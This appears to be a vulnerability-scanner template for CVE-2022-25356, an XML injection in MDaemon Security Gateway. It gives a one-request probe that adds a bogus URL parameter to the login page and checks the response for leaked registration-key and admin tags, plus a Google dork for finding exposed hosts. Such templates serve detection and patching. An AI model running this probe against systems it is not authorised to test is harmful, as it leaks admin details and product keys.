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id : CVE-2022-25356
info :
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name : Alt-n/MDaemon Security Gateway <=8.5.0 - XML Injection
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author : Akincibor
severity : medium
description : |
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Alt-n/MDaemon Security Gateway through 8.5.0 is susceptible to XML injection via SecurityGateway.dll?view=login. An attacker can inject an arbitrary XML argument by adding a new parameter in the HTTP request URL. As a result, the XML parser fails the validation process and discloses information such as protection used (2FA), admin email, and product registration keys.
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remediation : |
Upgrade Alt-n/MDaemon Security Gateway to version 8.5.1 or later to mitigate this vulnerability.
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reference :
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- https://www.swascan.com/security-advisory-alt-n-security-gateway/
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- https://www.altn.com/Products/SecurityGateway-Email-Firewall/
- https://www.swascan.com/security-blog/
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- https://nvd.nist.gov/vuln/detail/CVE-2022-25356
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classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score : 5.3
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cve-id : CVE-2022-25356
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cwe-id : CWE-91
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epss-score : 0.00425
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epss-percentile : 0.71508
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cpe : cpe:2.3:a:altn:securitygateway:*:*:*:*:*:*:*:*
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metadata :
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verified : true
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max-request : 1
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vendor : altn
product : securitygateway
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google-query : inurl:"/SecurityGateway.dll"
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tags : cve,cve2022,altn,gateway,xml,injection
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http :
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- method : GET
path :
- '{{BaseURL}}/SecurityGateway.dll?view=login&redirect=true&9OW4L7RSDY=1'
matchers-condition : and
matchers :
- type : word
part : body
words :
- "Exception: Error while [Loading XML"
- "<RegKey>"
- "<IsAdmin>"
condition : and
- type : status
status :
- 200
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